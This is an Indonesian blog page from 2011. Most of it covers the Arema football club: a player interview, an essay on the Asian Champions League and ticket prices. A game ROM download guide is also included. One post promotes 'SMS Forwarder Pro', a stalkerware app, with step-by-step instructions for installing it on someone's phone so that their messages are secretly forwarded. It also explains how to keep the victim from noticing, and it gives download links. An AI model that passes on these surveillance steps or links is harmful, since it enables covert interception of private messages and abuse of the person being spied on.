Usianya mungkin sekitar 26 tahun. Tubuhnya tinggi dibalut Jersey warna biru dengan logo Singa di dadanya. Bermain taktis seakan akan memberikan totalitas apa yg terbaik yang dimilikinya bagi Timnya. Tampak sangat Garang di lapangan ketika Kick Off babak pertama dimulai sampai di akhir pertandingan. Di Jersey Biru Arema Indonesia tercetak jelas Namanya diatas nomer punggung favoritnya 6, yup.. benar dia adalah Ridhuan - Muhammad Ridhuan, ..saya lebih suka menjulukinya Singapore's Lion Swing …menilik gaya permainannya yang penuh determinasi, semangat ala Singa… dan permainan nya yang meliuk liuk memberi Irama tersendiri bagi sebuah orkestra di lapangan, melayani dengan cukup handal striker2 Arema…serta kadang kala menusuk menghujam menggetarkan Jala lawan mirip irama Swing yang sungguh sulit ditebak alur nada nya. Kadang bermain lembut… stylist.. dilain waktu berubah menjadi garang. Ridhuan Termasuk Sayap Cepat, Sehingga Perlu Berbagai Cara untuk hentikan dia Siapa pernah menyangka di balik kegarangan nya di lapangan lelaki ini tampak sederhana di kehidupan sehari-harinya, dia tidak memiliki perhiasan yang berlebihan untuk dipamerkan. Kalaupun ada yang berharga, hanyalah sepasang sepatu bola kesayangan nya. Ada sedikit cerita unik baginya ketika menjadi pemain di Indonesia, terutama bermain di Arema, kadang ia merasa sedikit heran dengan berbagai sambutan yang diterimanya sebagai pemain sepak bola. Di Negaranya (Singapore), seorang pemain bola bukanlah apa-apa… disana hanya dianggap biasa tanpa ada perlakuan berlebih. Hal ini berbeda dengan apa yg di alaminya di Indonesia, dimana semua Orang baik yg ia kenal mau pun yg belum ia kenal sangat memperlakukan nya dengan perlakuan Istimewa. Meski sebagai manusia biasa kadang ia merasa sedikit terganggu privacynya. Simak obrolan Tabloid SingoEdan (TSE) dengan M Ridhuan (Ridhuan) berikut ini : TSE : Woww…sampai begitu yah sam perlakuan yg abang terima…? Ridhuan : Yup,..inilah yg selalu membuat saya selalu rindhu akan Malang, tentu dengan Aremanianya, meski kadang-kadang saya butuh waktu untuk kehidupan pribadi sendiri, Jalan-jalan dengan Pacar… nongkrong di tempat2 favorit dll, seperti yg dilakukan oleh anak muda lain nya, jadi kadang jika saya sedikit mengabaikan permintaan para fans untuk berfoto, memberi tanda tangan dll bukan berarti saya sombong atau menjaga jarak. Percayalah tidak ada hal itu terbersit dalam pikiran saya, sebagai pemain sepakbola yg professional waktu kami untuk bersantai sangatlah sedikit, setidaknya dalam sehari kami berlatih 2 s/d 3 kali sehari jika tidak ada pertandingan. Jika ada pertandingan frekuensi & konsentrasi kami jelas lebih besar untuk pertandingan itu, karena kami ingin memberi kemenangan & yang terbaik bagi Aremania. |
Jln. Mawar 05 RT.02/RW.02 KLEMUNAN WLINGI - BLITAR
Selasa, 15 Februari 2011
Dari Dekat : R6 - Muhammad Ridhuan
Game Pokemon Ruby Version
Pokemon Ruby Version adalah game untuk GBA / Game Boy Advance.Tetapi Game ini sudah disertai emulator untuk memainkannya di komputer /PC. Sobat tinggal mendownload dan meng-ekstraknya kemudian jalankan emulatornya.
Biar gak bingung,nih gw beri tutorialnya:
1.setelah mendownload,klik kanan Pokemon_Ruby_Version.zip dan pilih Extract Files;
2.Browse ke folder terserah sobat (cth: C:/programfiles);
3.Klik Ok,kemudian masuk ke folder tempat pokemon tadi di extract;
4.Jalankan VisualBoyAdvance.exe,klik File - Open - Browse ke tempat 0907 - Pokemon - Ruby Version.gba berada.
5.Klik Open dan selamat bermain..
Untuk mendownload,silahkan klik [DOWNLOAD NOW]
Klo ada yg tidak mengerti,silahkan bertanya lewat komentar..
Biar gak bingung,nih gw beri tutorialnya:
1.setelah mendownload,klik kanan Pokemon_Ruby_Version.zip dan pilih Extract Files;
2.Browse ke folder terserah sobat (cth: C:/programfiles);
3.Klik Ok,kemudian masuk ke folder tempat pokemon tadi di extract;
4.Jalankan VisualBoyAdvance.exe,klik File - Open - Browse ke tempat 0907 - Pokemon - Ruby Version.gba berada.
5.Klik Open dan selamat bermain..
Untuk mendownload,silahkan klik [DOWNLOAD NOW]
Klo ada yg tidak mengerti,silahkan bertanya lewat komentar..
SMS Forwarder Pro : Aplikasi Penyadap SMS
SMS Forwarder Pro : Aplikasi Penyadap SMS adalah sebuah aplikasi unik yang bisa menyadap sms yang dipasangi aplikasi ini.Dengan dipasangi aplikasi ini,maka hp symbian s60v3 / s60v2 akan mengirimkan sms secara diam2 ke hp sang penyadap.Luar biasa kan?!
Cara penggunaanya juga gampang koq,nih gw share sekalian:
1.Jalankan aplikasi SMS Forwarder Pro;
2.Pilih Activate;
3.Pilih nomor sang penyadap dan pilih save;
4.Keluar..
Agar sang korban tidak mengetahui hpnya sedang disadap dengan aplikasi ini,sebaiknya sobat mengatur password login untuk menggunakan aplikasi ini..
Untuk mendownload,silahkan klik [Download utk S60v2] | [Download utk S60v3]
Cara penggunaanya juga gampang koq,nih gw share sekalian:
1.Jalankan aplikasi SMS Forwarder Pro;
2.Pilih Activate;
3.Pilih nomor sang penyadap dan pilih save;
4.Keluar..
Agar sang korban tidak mengetahui hpnya sedang disadap dengan aplikasi ini,sebaiknya sobat mengatur password login untuk menggunakan aplikasi ini..
Untuk mendownload,silahkan klik [Download utk S60v2] | [Download utk S60v3]
Dunia, Sambutlah, AREMA INDONESIA !!!
Hari-hari ini adalah hari-hari penuh harapan bagi sepakbola Indonesia, hari-hari dimana seluruh harapan dari penjuru negeri bercampur menjadi satu, menjadi sebuah harapan nasional. Harapan yang derajatnya hampir sama dengan harapan untuk memperbaiki kondisi kesejahteraan masyarakat. Harapan yang setingkat dengan harapan menanti kemerdekaan negeri ini dari cengkeraman penjajah, harapan yang saya yakin mengalahkan harapan para pencinta atas seseorang yang dicintainya, inilah paling tidak yang saya rasakan. Ditengah menanti jawaban atas cinta saya pada seorang wanita yang sangat indah, yang sudah hampir enam bulan terakhir tidak juga terjawab, saya berada dalam euphoria besar pencinta sepakbola Indonesia. Euphoria yang hadir dari Malang Raya, semangat dan harapan besar Aremania menyambut segera bertandingnya tim kebanggaan mereka Arema Indonesia di Liga Champions Asia, euphoria yang bisa memberi semangat pada siapapun yang berada disekitarnya. Euphoria yang hadir dari semangat tidak kenal lelah dan tidak kenal takut khas Arek-arek Malang, euphoria yang hadir dari kecintaan kepada sebuah klub sepakbola yang telah membuat mereka tertawa penuh kebanggaan, menangis penuh kesedihan, tertegun tidak percaya, berteriak tidak kenal lelah, bahkan menumpahkan darah, tapi ini bukanlah hanya sebuah euphoria, ini adalah harapan, harapan untuk sebuah kebanggaan dan harga diri, inilah sepakbola, dan yang lebih penting, seperti tulisan yang sering terpancang di sisi utara stadion Kanjuruhan, “Inilah Arema, This is Arema”. This is Arema Liga Champions Asia adalah harapan tertinggi bagi klub-klub sepakbola Asia, mimpi tertinggi yang ingin diraih oleh seluruh klub sepakbola tidak hanya di Indonesia, tapi juga di Asia. Melihat Arema Indonesia, berada di puncak tertinggi sepakbola Asia adalah mimpi saya secara pribadi, tapi mimpi terliar saya adalah ketika nama Arema Indonesia berada di Clup World Cup Championship atau biasa disebut Piala Dunia antar klub, tempat dimana para juara bertanding, tempat dimana saatnya menunjukkan harga diri asia, bukan hanya sekedar bermain disana yang saya inginkan, tetapi menjadi Juara yang saya harapkan. Saya yakin, ini bukan hanya mimpi saya, tapi juga mimpi seluruh Aremania diseluruh penjuru dunia, bahkan saya yakin ini adalah mimpi yang juga dimiliki oleh seluruh pendukung klub-klub sepakbola dimanapun berada, yakni, untuk menjadi yang terbaik di Dunia, inilah puncak kejayaan dan kebanggaan. Permasalahannya hari ini adalah, seperti yang telah disampaikan secara menggebu-gebu dan penuh Inspirasi oleh Andrea Hirata dalam novelnya, bukan sebesar apa mimpi kita, tapi seberapa besar kita untuk mimpi itu. Seberapa besar usaha-usaha yang kita lakukan untuk mencapai semua mimpi-mimpi itu, seberapa tangguh kita untuk tidak berkata “cukup” tapi selalu berkata “bisa” (bukan iklan loh ya), untuk selalu berkata bahwa inilah saatnya bagi kita semua (Arema dan Aremania) untuk berbuat, bukan hanya demi nama besar Arema Indonesia, tapi juga demi kebanggaan seluruh penjuru negeri yang tengah carut marut ini. Saya pernah menitikkan air mata dan merasa bangga ketika melihat PSM Makassar mampu berbicara banyak di pentas Liga Champions Asia beberapa tahun yang lalu, dan saya tidak bisa memperkirakan apa yang akan saya lakukan jika Arema Indonesia bisa berbicara banyak dan tidak hanya sekedar mencegah tidak menjadi lumbung gol bagi tim-tim tangguh Asia, tapi juga minimal bisa lolos dari putaran Grup di pentas Liga Champions Asia, minimal, mungkin saya akan merasa seperti apa yang saya rasakan ketika Arema menjadi Juara Liga Super Indonesia, itu minimal, bisa juga lebih. Tapi perjuangan ini bukanlah sebuah perjuangan yang mudah, perjuangan untuk berada di puncak kejayaan adalah sebuah perjuangan yang butuh segala yang terbaik yang kita miliki, perjuangan yang membutuhkan tidak hanya semangat tapi juga totalitas, perjuangan yang tidak hanya membutuhkan sekedar ucapan tapi juga perbuatan. Dilihat dari sudut manapun, factor teknis maupun non-teknis, tidak ada satupun rumus yang benar-benar menguntungkan Arema. Dari segi permainan, kita semua telah sama-sama tahu, bagaimana kemampuan bertanding klub-klub dari Juara Piala Asia 2011, Jepang, atau dari Negara Semifinalis Piala Dunia 2002, Korea Selatan, atau dari Negara yang pernah menghancurkan Tim Nasional Indonesia dengan skor 5-1, China, mereka paling tidak berada satu tingkat di atas Arema, skill individu pemain, gaya permainan, kolektivitas tim, saya yakin mereka berada di atas Arema, tapi bukan berarti tidak bisa dikalahkan, toh klub-klub Indonesia lain juga penah menjungkalkan mereka, jika yang lain bisa, kenapa kita tidak. Factor non-teknis juga akan sangat berpengaruh, salah satunya suhu udara di Jepang saat ini bisa menyentuh 10oC bahkan jika bermain Malam hari bisa menyentuh angkat di bawah 0oC sebuah ukuran suhu yang tidak pernah terjadi di Indonesia, dan ini akan sangat mengganggu. Kondisi-kondisi seperti ini adalah tantangannya, tantangan untuk berbenah dan mencapai sebuah titik yang lebih tinggi, sama seperti Tuhan, yang selalu memberikan ujian kepada umatnya untuk kemudian mengangkat derajatnya jika sang hamba berhasil melalui ujian tersebut, maka Liga Champions Asia adalah sebuah titik ujian lain bagi Arema, jika berhasil melewatinya maka Arema akan berada di level yang lebih tinggi dari yang pernah dicapai sebelumnya. Jika gagal, maka anggaplah kita harus kembali ke barak, kembali belajar untuk menaklukkan dunia, kembali belajar bermain sepakbola untuk dapat sekelas dengan Barcelona, karena kegagalan adalah Guru yang terbaik. Jika berhasil, maka kita-pun harus kembali ke barak, mengatur strategi baru, berlatih untuk minimal mempertahankan permainan dan berusaha memperbaiki semua sisi lemah yang ada, sehingga memperkecil kemungkinan untuk ditaklukkan dalam hitungan matematis. Dan ketika saat kembali berlaga hadir, kita telah mencapai titik yang lebih tinggi dalam permainan sepakbol,dan lebih dekat dengan puncak dunia. Aremania juga harus mempersiapkan diri, mempersiapkan mental yang lebih baik daripada yang telah ditunjukkan selama ini ketika berlaga di Liga Super, belajar untuk tidak mudah terprovokasi oleh apapun, tidak mudah melemparkan apapun ke-dalam lapangan hijau, tidak mudah untuk meneriakkan kata-kata rasis, karena level kita kini berbeda, level kita kini adalah level Asia, dan jelas kita harus lebih baik dari mereka yang hanya berada di level Nasional. Dengan level yang lebih tinggi, maka level dukungan terhadap klub juga harus lebih “menggila”, model dukungan terhadap klub harus lebih bergelora dan membangkitkan ghiroh perjuangan para punggawa Singo Edan, tekanan terhadap lawan juga harus semakin keras hingga merontokkan mental mereka ketika berlaga di Kandang Singa, tapi tetap harus berada dalam koridor sportifitas dan fair play. Saya yakin Arema dan Aremania mampu untuk berprestasi di Liga Champions Asia, sama seperti konsep yang digunakan oleh Tuhan, bahwa Tuhan tidak akan pernah menguji hambanya dengan sesuatu yang di luar kemampuannya, maka ketika Tuhan “mengirim” kita untuk berlaga di Liga Champions Asia, dan menguji kemampuan kita semua (Arema dan Aremania), maka saya yakin, Tuhan beranggapan kita mampu untuk melakukannya, dan anggapan Tuhan tidak akan pernah salah, sedikitpun. Sekarang tinggal bagaimana kita menghadapi dan menyelesaikan ujian ini, memberi jawaban pada anggapan Tuhan bahwa kita benar-benar mampu untuk naik level, berusaha dan memberikan yang terbaik untuk ujian berat ini, semuanya demi Kebanggaan Singo Edan dan Garuda Sakti. Dan, ketika semua hal telah kita lakukan denngan sebaik-baiknya usaha yang bisa kita lakukan, maka untuk selanjutnya, serahkan semuanya pada penilaian Tuhan, apakah kita benar-benar telah memberikan segala usaha yang terbaik, setelah itu, biarkan Intervensi Tuhan menentukan hasil akhirnya. |
Senin, 14 Februari 2011
Jelang LCA: Harga Tiket Akan Naik
Menjelang laga Arema Indonesia di Liga Champions Asia, manajemen Arema terus berbenah dan mempersiapkan segala sesuatu untuk laga home perdana nanti. Seperti diketahui bersama, laga perdana Arema Indonesia di kandang adalah saat melawan tim asal Korea, Jeobuk Hyundai Motors pada 16 Maret 2011 di Stadion Kanjuruhan. Disamping memperbaiki stadion Kanjuruhan Kabupaten Malang agar sesuai dengan standar AFC untuk menggelar laga LCA, manajemen juga berencana menaikkan harga tiket untuk laga home Arema di LCA nanti dari tiket yang biasanya Rp. 25.000 untuk ekonomi akan naik menjadi Rp. 30.0000 begitupun tiket VIP dan VVIP akan mengalami kenaikan. Ini merupakan efek dari beberapa regulasi AFC mengenai sponsor yang boleh memasang a-board di semua laga LCA adalah sponsor resmi LCA saja yang semuanya diatur oleh pihak Worldsportgroup sebagai marketing partner AFC (Asia Football Confederation). Kehadiran Aremania akan berdampak pada pendapatan Arema Indonesia Padahal, kelangsungan hidup tim Arema hampir separuhnya merupakan andil dari sponsor-sponsor yang masuk dalam tim Arema Indonesia. Manajemen Arema pun telah mendapat keterangan langsung dari Bryan Chow, Vanue Manager Worldsportgroup saat melakukan inspeksi Stadion Kanjuruhan, Selasa (8/2) lalu. Meski Bryan sempat menyarankan manajemen Arema untuk berkirim surat ke AFC untuk penjelasan resmi secara tertulis dari otoritas sepakbola Asia itu. "Ya, kita sudah dapat kepastian kalau sponsor dan A board yang selama ini pasang di Arema tidak bisa lagi saat pertandingan LCA nanti, tapi kemarin Bryan Chow minta manajemen Arema agar kirim surat ke AFC, karena dia memahami kebutuhan klub", ungkap Manajer Media Officer Arema, Sudarmaji. "Menurut Bryan selama ini memang klub sering menanyakan soal sponsor klub ini, tapi untuk LCA sudah dibranding sponsor AFC. Makanya kita diminta kirim surat ke AFC, agar AFC bisa memberi penjelasan resmi seputar sponsor ini", sambung mantan wartawan asal Banyuwangi ini. Untuk itu, dengan adanya regulasi seperti ini, pihak manajemen Arema Indonesia mau tidak mau hanya bisa bergantung pada penjualan tiket saja untuk mendapatkan pemasukan pada LCA nanti. "Pada pertandingan LCA nanti kita murni hanya dapat keuntungan dari hasil penjualan tiket. Kita telah memutuskan pada pertandingan LCA nanti untuk harga tiket ekonomi Rp 30 ribu, VIP Rp 100 ribu dan VVIP Rp 150 ribu. Pertimbangan kita menaikkan harga tiket ini karena ini level Asia". jelas Darmaji. "Setelah sempat kita konsultasikan pada Bryan Chow saat datang ke kantor Arema kemarin, menurutnya harga tiket tersebut sudah cukup, karena di tempat lain atau di luar negeri harga tiket rata-rata minimal Rp 40 ribu. Harapannya bisa mengundang animo penonton dan harga tiket terjangkau", lanjutnya. Sementara, Aremania sendiri sepertinya tak keberatan dengan kenaikan harga tiket di Kanjuruhan pada pertandingan LCA nanti. Tokoh Aremania Kampus Universitas Merdeka (Unmer) Malang Panca Putra mengungkapkan kenaikan itu tidak akan berefek pada minat Aremania ke stadion. Dipaparkan Panca, kesempatan melihat Arema bertanding di level Asia merupakan momen luar biasa dan tidak setiap tahun terjadi. Karena itulah pihaknya merasa kenaikan itu sesuai dengan level pertandingan dan hasilnya untuk Aremania juga. "Saya yakin Aremania akan melakukan segalanya untuk bisa menyaksikan Arema di level Asia, termasuk menyisihkan uang untuk pertandingan LCA. Saya pikir tak masalah, apalagi untuk kelas ekonomi kenaikan hanya Rp5000 saja", kata Panca. (afd/WE) |
Langganan:
Postingan (Atom)

